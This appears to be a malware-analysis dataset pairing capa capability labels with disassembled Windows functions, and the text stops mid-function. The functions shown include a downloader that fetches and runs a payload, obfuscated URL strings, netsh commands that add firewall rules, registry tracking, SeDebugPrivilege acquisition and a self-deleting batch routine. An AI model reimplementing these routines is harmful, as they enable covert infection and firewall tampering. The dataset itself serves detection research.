joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001ab60
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x1ff70]
mov eax, 0x20070
call fcn.140038c40
sub rsp, rax
lea rcx, [rsp + 0x50]
mov rsi, rdx
call fcn.14001e640
lea rdx, [rsp + 0x70]
xor bl, bl
mov ecx, 0x7fff
mov byte [rbp + 0x1ffa0], bl
xor dil, dil
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r8, [rbp + 0x1ffb0]
mov rdx, rsi
call fcn.14001a624
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14004f0da
mov eax, dword [0x1400e4570]
test eax, eax
je 0x14001acf2
mov r15d, 1
lea rcx, [0x1400e6320]
cmp eax, r15d
je 0x14004f0fc
lea rax, [rbp + 0x1ffa0]
lea r8, [0x1400e4570]
lea rdx, [0x1400e4598]
mov qword [rsp + 0x20], rax
call fcn.14001cb64
test al, al
je 0x14001acfb
mov al, byte [0x1400e6320]
mov rcx, qword [0x1400e4598]
mov dil, byte [0x1400e6321]
lea r9, [rbp + 0x1ffb8]
lea r8, [rbp + 0xff70]
mov edx, 0x7fff
mov byte [0x1400e4574], al
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov rdx, qword [rbp + 0x1ffb8]
lea rcx, [0x1400e4550]
call fcn.14001edf8
mov bl, byte [rbp + 0x1ffa0]
mov r8d, dword [0x1400e4570]
lea rdx, [0x1400e4598]
call fcn.14000bdc0
test eax, eax
jne 0x14004f120
cmp dil, r15b
je 0x14004f143
call fcn.14001aa30
call fcn.14001a95c
cmp byte [0x1400e4574], 0
jne 0x14001ac9f
lea rcx, [0x1400e4f50]
call fcn.14000175c
lea rcx, [0x1400e45c0]
mov edx, r15d
call fcn.14000bea0
cmp byte [0x1400e4574], 0
jne 0x14001acc3
lea rcx, [0x1400e4f50]
call fcn.1400018ac
lea rcx, [0x1400e6320]
call fcn.14001cbfc
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rsp + 0x50]
call fcn.14001c29c
add rsp, 0x20070
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
or dword [0x1400e44c0], 0xffffffff
jmp 0x14001accf
mov dword [0x1400e44c0], r15d
jmp 0x14001accf
lea r8, [0x1400cf2a4]
lea rdx, str.This_is_a_third_party_compiled_488878_script.
mov r9d, reloc.WSOCK32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
jmp 0x14001acda
mov r8, qword [0x1400e4578]
or r9d, 0xffffffff
mov edx, r15d
call fcn.14001cab8
mov al, byte [0x1400e44c8]
mov byte [0x1400e6322], al
jmp 0x14001ac5c
lea rcx, [0x1400e6320]
call fcn.14001cbfc
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov dword [0x1400e44c0], r15d
jmp 0x14001acda
call fcn.1400749b0
test al, al
jne 0x14001ac80
cmp byte [rbp + 0x1ffb0], al
jne 0x14001ac80
lea rcx, [rsp + 0x50]
call fcn.14001a3c8
lea rdx, [0x1400cb8a0]
lea rcx, [rsp + 0x30]
call fcn.14001f0bc
lea rcx, [rsp + 0x30]
test bl, bl
je 0x14004f1ab
lea rdx, [0x1400cf2d8]
call fcn.14001ef20
lea rdx, [0x1400e4598]
lea rcx, [rsp + 0x30]
call fcn.14001ec60
lea rdx, [0x1400cf2d8]
lea rcx, [rsp + 0x30]
jmp 0x14004f1ae
mov rdx, rsi
call fcn.14001ef20
mov rbx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8, qword [rsp + 0x50]
mov rcx, rax
lea rax, [rsp + 0x70]
lea rdx, str.runas
mov r9, rbx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rsp + 0x30]
call fcn.14001c29c
nop
jmp 0x14001acc3
Function at 0x1400019a0
Capabilities:
Print debug messages

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
mov qword [r11 + 0x10], rdx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x20], r9
sub rsp, 0x438
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rsp + 0x420], rax
cmp dword [0x140005050], 0
je 0x1400019f2
mov rdx, rcx
lea r8, [r11 + 0x10]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wvsprintfA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.140001b70
add rsp, 0x438
ret
Function at 0x140001000
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x280
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r12, rcx
mov rsi, rdx
xor ebx, ebx
lea ecx, [rbx + 0xf]
xor edx, edx
mov dword [rsp + 0x30], 0x130
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rbp, rax
call sub.KERNEL32.dll_Process32First
nop word [rax + rax]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x5c]
repne scasb al, byte [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x14000109e
nop word [rax + rax]
movzx ecx, byte [rsp + rax + 0x5c]
cmp cl, 0x41
jl 0x140001096
cmp cl, 0x5f
jg 0x140001096
add cl, 0x20
mov byte [rsp + rax + 0x5c], cl
inc rax
cmp rax, rdx
jl 0x140001080
lea rax, [rsp + 0x5c]
mov rdi, r12
sub rdi, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x1400010c2
inc rax
test ecx, ecx
jne 0x1400010b0
test edx, edx
je 0x1400010dc
lea rdx, [rsp + 0x30]
mov rcx, rbp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001060
jmp 0x14000115c
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001157
lea rcx, [rsp + 0x160]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x160]
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x104
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
lea rax, [rsp + 0x160]
lea rdx, [rsp + 0x160]
sub rsi, rax
nop
movzx eax, byte [rdx]
inc rdx
mov byte [rsi + rdx - 1], al
test al, al
jne 0x140001140
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001e00
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x140001190
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
lea rax, [rsp + 0x78]
lea rdx, str.SOFTWARENetWorkProNT32
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x60], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xor r9d, r9d
test eax, eax
jne 0x140001204
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001244
lea ebx, [rax + 1]
jmp 0x140001279
lea rax, [rsp + 0x70]
lea rdx, str.SOFTWARENetWorkProNT32
xor r8d, r8d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x78]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x140001279
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140001289
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x50
pop rbx
ret

Function at 0x1400012a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x158
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], 0
call sub.MSVCR90.dll_memset
call fcn.140001190
test eax, eax
je 0x1400012f3
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001e00
add rsp, 0x158
ret
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rdx, str._c_netsh_advfirewall_firewall_add_rule_name_BranchCache
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCR90.dll_sprintf]
xor r11d, r11d
lea r9, [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001e00
add rsp, 0x158
ret
Function at 0x140001370
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x270], rax
lea rcx, [rsp + 0x161]
xor ebx, ebx
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x160], bl
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x50], bl
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x160]
lea rcx, str.asdsvc.exe
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x30], ebx
call section..text
test eax, eax
je 0x1400014f8
call fcn.1400012a0
lea r11, [rsp + 0x38]
lea rdx, str.SOFTWARENetWorkProNT32
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400014e6
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001456
cmp dword [rsp + 0x30], 2
je 0x1400014e6
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea r8, [rsp + 0x160]
lea rdx, str._c_netsh_advfirewall_firewall_set_rule_name_BranchCache
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x50]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [section..data]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x30], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400014f6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001e00
add rsp, 0x280
pop rbx
ret
Function at 0x140001630
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x390
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x380], rax
lea rdx, [rsp + 0x50]
xor ebp, ebp
mov ecx, 0x104
mov dword [rsp + 0x40], ebp
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, str._unins_stmc64.bat
lea rcx, [rsp + 0x50]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x160]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x270]
call sub.MSVCR90.dll_strcpy
lea edx, [rbp + 0x5c]
lea rcx, [rsp + 0x270]
call qword [sym.imp.MSVCR90.dll_strrchr]
test rax, rax
je 0x1400016ba
mov byte [rax], bpl
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400017dc
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x3a0], rbx
mov qword [rsp + 0x3a8], rsi
call sub.MSVCR90.dll_strlen
lea rcx, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s_
lea ebx, [rax + rax*2]
call sub.MSVCR90.dll_strlen
lea rcx, [rsp + 0x50]
add ebx, eax
call sub.MSVCR90.dll_strlen
lea ecx, [rax + rbx + 0x32]
movsxd rbx, ecx
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_malloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rsi, rax
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x50]
lea r9, [rsp + 0x160]
lea r8, [rsp + 0x160]
lea rdx, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_ndel___s_
mov rcx, rsi
mov qword [rsp + 0x20], r11
call qword [sym.imp.MSVCR90.dll_sprintf]
mov rcx, rsi
call sub.MSVCR90.dll_strlen
lea r9, [rsp + 0x40]
mov rdx, rsi
mov rcx, rdi
mov r8, rax
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x50]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x3a0]
test rsi, rsi
je 0x1400017d4
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
mov rsi, qword [rsp + 0x3a8]
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.140001e00
mov rbp, qword [rsp + 0x3b0]
add rsp, 0x390
pop rdi
ret
Function at 0x140001800
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
push rdi
sub rsp, 0x40
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rbx
lea rdx, str.SOFTWARENetWorkProNT32
xor ebx, ebx
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov edi, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001984
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
lea rdx, str.IP_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x58], 4
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001984
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
lea rsi, [0x140004180]
lea rdx, str.GATEWAY1_Value
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x50], 0x104
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001912
mov rcx, rsi
call sub.MSVCR90.dll_strlen
mov r8d, ebx
mov rcx, rbx
movsxd r9, eax
test eax, eax
jle 0x14000190d
nop word [rax + rax]
mov eax, 0x55555556
inc rcx
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, r8b
inc r8d
sub al, dl
add al, 2
add byte [rcx + rsi - 1], al
cmp rcx, r9
jl 0x1400018e0
mov edi, 1
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
lea rsi, [0x140004290]
mov qword [rsp + 0x28], rax
lea rdx, str.GATEWAY2_Value
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x50], 0x104
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x14000197f
mov rcx, rsi
call sub.MSVCR90.dll_strlen
mov rcx, rbx
movsxd r8, eax
test eax, eax
jle 0x14000197a
nop
mov eax, ebx
inc rcx
inc ebx
cdq
and eax, 1
xor eax, edx
sub eax, edx
inc al
add byte [rcx + rsi - 1], al
cmp rcx, r8
jl 0x140001960
mov edi, 1
mov rsi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x38]
test rcx, rcx
je 0x140001999
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
add rsp, 0x40
pop rdi
ret

Function at 0x1400019b0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
xor ebp, ebp
mov rdi, rdx
mov rsi, rcx
mov ebx, ebp
nop
xor r9d, r9d
mov r8, rdi
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rbp
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x1400019ff
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x64
jl 0x1400019d0
mov eax, ebp
jmp 0x140001a45
mov rcx, rdi
call fcn.140001520
cmp eax, 0x1f40
jbe 0x140001a38
mov ebx, 1
call fcn.140001370
lea rdx, str.open
xor r9d, r9d
mov r8, rdi
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140001a3a
mov ebx, ebp
mov rcx, rsi
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140001a60
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140004150]
xor rax, rsp
mov qword [rsp + 0x190], rax
xor eax, eax
xor edx, edx
xor ecx, ecx
mov byte [rsp + 0x30], 0x61
mov byte [rsp + 0x31], 0x61
mov byte [rsp + 0x32], 0x2e
mov word [rsp + 0x37], ax
mov byte [rsp + 0x39], al
mov byte [rsp + 0x33], 0x64
mov byte [rsp + 0x34], 0x61
mov byte [rsp + 0x35], 0x74
mov byte [rsp + 0x36], 0
call qword [sym.imp.USER32.dll_KillTimer]
lea rdi, [0x140004180]
xor edx, edx
mov rcx, rdi
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x140004290]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x81]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x80], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x20]
mov byte [rsp + 0x20], 0x6a
mov byte [rsp + 0x21], 0x74
mov byte [rsp + 0x22], 0x77
mov byte [rsp + 0x23], 0x2f
mov byte [rsp + 0x24], 0x2f
mov byte [rsp + 0x25], 0x2a
mov byte [rsp + 0x26], 0x62
mov byte [rsp + 0x27], 0x74
mov byte [rsp + 0x28], 0x62
mov byte [rsp + 0x29], 0
call sub.MSVCR90.dll_strlen
xor ebx, ebx
mov r9d, ebx
mov r8, rbx
movsxd r10, eax
test eax, eax
jle 0x140001b6d
nop word [rax + rax]
mov eax, r9d
inc r8
inc r9d
cdq
and eax, 1
xor eax, edx
sub eax, edx
add al, 3
add byte [rsp + r8 + 0x1f], al
cmp r8, r10
jl 0x140001b50
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x80]
call sub.MSVCR90.dll_strcat
call fcn.140001800
test eax, eax
jne 0x140001c14
lea rdx, str.qa_i4420_fqpn7_tsu1422___2_mj40022365.dp35abqab
mov rcx, rdi
call sub.MSVCR90.dll_strcpy
mov rcx, rdi
call sub.MSVCR90.dll_strlen
mov rcx, rbx
movsxd r8, eax
test eax, eax
jle 0x140001bfb
mov eax, 0x55555556
inc rcx
imul ebx
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dl
add al, al
add dl, al
movzx eax, bl
inc ebx
sub al, dl
add al, 2
add byte [rcx + rdi - 1], al
cmp rcx, r8
jl 0x140001bd1
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x32]
call sub.MSVCR90.dll_memset
lea rdx, [0x140004189]
jmp 0x140001c89
xor edx, edx
lea rcx, [rsp + 0x40]
lea r8d, [rdx + 0x32]
call sub.MSVCR90.dll_memset
lea rdx, [0x140004189]
lea rcx, [rsp + 0x40]
mov r8d, 0x18
call qword [sym.imp.MSVCR90.dll_strncpy]
lea rdx, str.0109b6_
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400019b0
test eax, eax
jne 0x140001ccc
lea r8d, [rax + 0x32]
lea rcx, [rsp + 0x40]
xor edx, edx
call sub.MSVCR90.dll_memset
lea rdx, [0x14000429e]
lea rcx, [rsp + 0x40]
mov r8d, 0x18
call qword [sym.imp.MSVCR90.dll_strncpy]
lea rdx, str.0109b6_
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call sub.MSVCR90.dll_strcat
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400019b0
xor eax, eax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140001e00
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x1a0
pop rdi
ret
Function at 0x140001cf0
Capabilities:
Acquire debug privileges
Check mutex on windows

Disassembly:
sub rsp, 0x28
lea rcx, str.SeDebugPrivilege
mov edx, 1
call fcn.140001580
lea r8, str.sofpogpdwqewcxnhbhahaha
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x140004170], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140001d4c
call fcn.140001a60
mov rcx, qword [0x140004170]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x140004170]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001630
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000224b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140004150]
jne 0x140001e1a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001e16
repz ret
ror rcx, 0x10
jmp 0x1400021a4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140004460]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140004558]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002229
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140004460]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14000224b
mov rax, qword [rsp + 0x88]
mov qword [0x140004558], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400044f8], rax
mov rax, qword [0x140004558]
mov qword [0x1400043d0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400044e0], rax
mov dword [0x1400043c0], 0xc0000409
mov dword [0x1400043c4], 1
mov rax, qword [0x140004150]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140004158]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140004458], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400034d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140004458], 0
jne 0x1400022d2
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140052360
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400523bd
lea rbx, [0x1400a8400]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400523a4
cmp r10, 2
jb 0x1400523a4
cmp byte [r9], r8b
jne 0x1400523a4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140052380
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400523ff
lea rbx, [0x1400a8400]
cmp r8b, 0x23
jne 0x1400523e3
cmp byte [r9], r8b
jne 0x1400523e3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400523d0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140052540
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14005255a
mov qword [r8], 0
lea rdx, [0x1400a8064]
call fcn.140052410
mov rbx, rax
test rax, rax
jne 0x14005257a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140052651
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140052651
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140052651
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140052651
cmp rdi, 0xffffffffffffffff
je 0x140052651
mov rax, qword [0x1400cb820]
test rax, rax
je 0x1400525ee
inc dword [rax + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140052651
mov r9, rbx
